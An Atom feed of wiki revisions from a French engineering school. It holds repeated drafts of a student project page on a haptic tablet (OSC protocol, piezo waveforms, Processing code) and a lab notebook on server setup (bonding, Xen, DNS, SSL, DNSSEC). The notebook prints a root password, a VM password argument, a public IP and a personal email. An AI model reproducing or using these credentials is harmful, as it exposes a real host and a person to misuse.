Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case :&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37146</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37146"/>
				<updated>2017-01-10T12:22:11Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Cahier des charges */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37145</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37145"/>
				<updated>2017-01-10T12:21:34Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Cahier des charges */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B01&amp;diff=37046</id>
		<title>Cahier 2016 groupe n°1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B01&amp;diff=37046"/>
				<updated>2017-01-07T18:59:55Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* 6.2 Cryptage carte SD */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : Configuration du Bonding=&lt;br /&gt;
&lt;br /&gt;
Pour la première séance nous avons installé ifenslave 2.6 sur le serveur et ajout d'un alias pour que le module bond soit activé avec les bonnes options :&lt;br /&gt;
&lt;br /&gt;
 alias bond0 bonding&lt;br /&gt;
 options bonding mode=1 miimon=100 downdelay=200 updelay=200&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi configuré le fichier /etc/network/interfaces&lt;br /&gt;
en y incluant la configuration des différentes interfaces : eth100, eth101 ainsi que la configuration du bridge: br0 et du bonding: bond0.&lt;br /&gt;
&lt;br /&gt;
 #Bonding IMA5sc&lt;br /&gt;
 #auto eth100&lt;br /&gt;
 #iface eth0 inet manual&lt;br /&gt;
 #	bond-master bond0&lt;br /&gt;
 #	bond-primary eth100 eth101&lt;br /&gt;
 #	bond-mode 5&lt;br /&gt;
 &lt;br /&gt;
 #auto eth101&lt;br /&gt;
 #iface eth1 inet manual	&lt;br /&gt;
 #	bond-master bond0&lt;br /&gt;
 #	bond-primary eth100 eth101&lt;br /&gt;
 #	bond-mode 5&lt;br /&gt;
 &lt;br /&gt;
 #auto bond0&lt;br /&gt;
 #iface bond0 inet dhcp&lt;br /&gt;
 #	pre-up modprobe bonding&lt;br /&gt;
 #	pre-up ifconfig bond0 up&lt;br /&gt;
 #	pre-up /sbin/ifenslave  bond0 eth100 eth101&lt;br /&gt;
 #	down sbin/ifenslave -d bond0 eth100 eth101&lt;br /&gt;
 #	bonds-slaves none&lt;br /&gt;
 #&lt;br /&gt;
 #auto br0&lt;br /&gt;
 #iface br0 inet dhcp&lt;br /&gt;
 #	bridge-ports bond0&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : Installation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Installation de la machine virtuelle sur le serveur cordouan:&lt;br /&gt;
&lt;br /&gt;
 root@cordouan:/usr/local/xen/domains# xen-create-image --hostname=Frotteman --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.171  --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --password=glopglop&lt;br /&gt;
&lt;br /&gt;
 WARNING&lt;br /&gt;
 -------&lt;br /&gt;
 &lt;br /&gt;
  You appear to have a missing vif-script, or network-script, in the&lt;br /&gt;
  Xen configuration file /etc/xen/xend-config.sxp.&lt;br /&gt;
 &lt;br /&gt;
  Please fix this and restart Xend, or your guests will not be able&lt;br /&gt;
 to use any networking!&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  Frotteman&lt;br /&gt;
 Distribution   :  jessie&lt;br /&gt;
 Mirror         :  http://debian.polytech-lille.fr/debian/&lt;br /&gt;
 Partitions     :  swap            128M  (swap)&lt;br /&gt;
                   /               4G    (ext3)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  128M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-3.14-2-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-3.14-2-amd64&lt;br /&gt;
 &lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 193.48.57.161 [MAC: 00:16:3E:F4:F8:CE]&lt;br /&gt;
 Netmask        : 255.255.255.240&lt;br /&gt;
 Gateway        : 193.48.57.171&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 Creating partition image: /usr/local/xen/domains/Frotteman/swap.img&lt;br /&gt;
 Done&lt;br /&gt;
 &lt;br /&gt;
 Creating swap on /usr/local/xen/domains/Frotteman/swap.img&lt;br /&gt;
 Done&lt;br /&gt;
 &lt;br /&gt;
 Creating partition image: /usr/local/xen/domains/Frotteman/disk.img&lt;br /&gt;
 Done&lt;br /&gt;
 &lt;br /&gt;
 Creating ext3 filesystem on /usr/local/xen/domains/Frotteman/disk.img&lt;br /&gt;
 Done&lt;br /&gt;
 Installation method: debootstrap&lt;br /&gt;
 Done&lt;br /&gt;
 &lt;br /&gt;
 Running hooks&lt;br /&gt;
 Done&lt;br /&gt;
 &lt;br /&gt;
 No role scripts were specified.  Skipping &lt;br /&gt;
 &lt;br /&gt;
 Creating Xen configuration file&lt;br /&gt;
 Done &lt;br /&gt;
 &lt;br /&gt;
 No role scripts were specified.  Skipping&lt;br /&gt;
 Setting up root password&lt;br /&gt;
 Generating a password for the new guest.&lt;br /&gt;
 All done&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 Logfile produced at:&lt;br /&gt;
 	 /var/log/xen-tools/Frotteman.log&lt;br /&gt;
 &lt;br /&gt;
 Installation Summary&lt;br /&gt;
 ---------------------&lt;br /&gt;
 Hostname        :  Frotteman&lt;br /&gt;
 Distribution    :  jessie&lt;br /&gt;
 MAC Address     :  00:16:3E:F4:F8:CE&lt;br /&gt;
 IP Address(es)  :  193.48.57.161 &lt;br /&gt;
 RSA Fingerprint :  37:3f:a5:4a:6d:05:15:3d:55:44:e3:0b:7f:81:91:a2&lt;br /&gt;
 Root Password   :  fsBsiSE4&lt;br /&gt;
&lt;br /&gt;
=Séance3 : Volumes logiques=&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques pour la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-home -v&lt;br /&gt;
 lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-var -v&lt;br /&gt;
&lt;br /&gt;
Ajouts des partitions à la configuration de la machine virtuelle.&lt;br /&gt;
 'phy:/dev/virtual/ima5-Frotteman-home,xvdb,w',&lt;br /&gt;
 'phy:/dev/virtual/ima5-Frotteman-var,xvdc, w',&lt;br /&gt;
&lt;br /&gt;
=Séance4=&lt;br /&gt;
&lt;br /&gt;
Commande pour démarrer la VM lorsqu'elle est totalement éteinte :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Frotteman.cfg&lt;br /&gt;
&lt;br /&gt;
Nom de domaine réservé sur gandi.net&lt;br /&gt;
&lt;br /&gt;
 faispastomberlasavo.net&lt;br /&gt;
&lt;br /&gt;
=Séance5 : DNS=&lt;br /&gt;
&lt;br /&gt;
Installation de bind9 sur la VM xen.&lt;br /&gt;
&lt;br /&gt;
Modification du fichier /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;faispastomberlasavo.net&amp;quot; {&lt;br /&gt;
           type master;&lt;br /&gt;
           file &amp;quot;/etc/bind/db.faispastomberlasavo.net&amp;quot;;&lt;br /&gt;
           allow-transfer { 217.70.177.40; };&lt;br /&gt;
      };&lt;br /&gt;
&lt;br /&gt;
Créez le fichier de zone /etc/bind/db.faispastomberlasavo.net&lt;br /&gt;
 &lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.faispastomberlasavo.net. root.faispastomberlasavo.net. (&lt;br /&gt;
                        2              ; Serial&lt;br /&gt;
                        604800         ; Refresh&lt;br /&gt;
                         86400         ; Retry&lt;br /&gt;
                       2419200         ; Expire&lt;br /&gt;
                        604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
         IN      NS      ns6.gandi.net.&lt;br /&gt;
 @       IN      NS      ns.faispastomberlasavo.net.&lt;br /&gt;
 ns      IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161&lt;br /&gt;
 @       IN      A       193.48.57.161&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Redémarrer bind&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/bind9 restart&lt;br /&gt;
&lt;br /&gt;
Changez la configuration des serveurs du domaine Gandi &lt;br /&gt;
 DNS1: ns.faispastomberlasavo.net&lt;br /&gt;
 DNS2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Commande:&lt;br /&gt;
 nslookup www.faispastomberlasavo.net&lt;br /&gt;
&lt;br /&gt;
Résultat:&lt;br /&gt;
 Server:		193.48.57.161&lt;br /&gt;
 Address:	193.48.57.161#53 &lt;br /&gt;
 &lt;br /&gt;
 Name:	www.faispastomberlasavo.net&lt;br /&gt;
 Address: 193.48.57.161&lt;br /&gt;
&lt;br /&gt;
=Séance6 : Sécurisation &amp;amp; Certification=&lt;br /&gt;
commande pour générer certificat SSL &lt;br /&gt;
 &lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha1 -keyout faispas.key -out faispas.csr&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:faispastomberlasavo.net&lt;br /&gt;
 Email Address []:cedricduval94@gmail.com&lt;br /&gt;
&lt;br /&gt;
On ajoute le contenu du fichier serveur.csr dans gandi&lt;br /&gt;
&lt;br /&gt;
On ajoute les fichiers à notre config :&lt;br /&gt;
&lt;br /&gt;
 cp faispas.crt GandiStandardSSLCA2.pem /etc/ssl/certs/ &lt;br /&gt;
 cp faispas.key /etc/ssl/private/&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 root@Frotteman:~# c_rehash /etc/ssl/certs &lt;br /&gt;
 Doing /etc/ssl/certs&lt;br /&gt;
 GandiStandardSSLCA2.pem =&amp;gt; 8544bf03.0&lt;br /&gt;
 GandiStandardSSLCA2.pem =&amp;gt; e279a80b.0&lt;br /&gt;
 faispas.crt =&amp;gt; 82591bcd.0&lt;br /&gt;
 faispas.crt =&amp;gt; a73fda57.0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DNSSEC&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE  faispastomberlasavo.net &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE  faispastomberlasavo.net &lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-ksk.key&lt;br /&gt;
 $include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-zsk.key&lt;br /&gt;
&lt;br /&gt;
 /etc/bind/faispastomberlasavo.net.dnssec# dnssec-signzone -o  faispastomberlasavo.net -k  faispastomberlasavo.net-ksk ../db. faispastomberlasavo.net faispastomberlasavo.net-zsk&lt;br /&gt;
&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.faispastomberlasavo.net.signed&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 root@Frotteman:/etc/bind# dig DNSKEY faispastomberlasavo.net @localhost&lt;br /&gt;
 &lt;br /&gt;
 ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-9+deb8u8-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; DNSKEY faispastomberlasavo.net @localhost&lt;br /&gt;
 ;; global options: +cmd&lt;br /&gt;
 ;; Got answer:&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 10598&lt;br /&gt;
 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
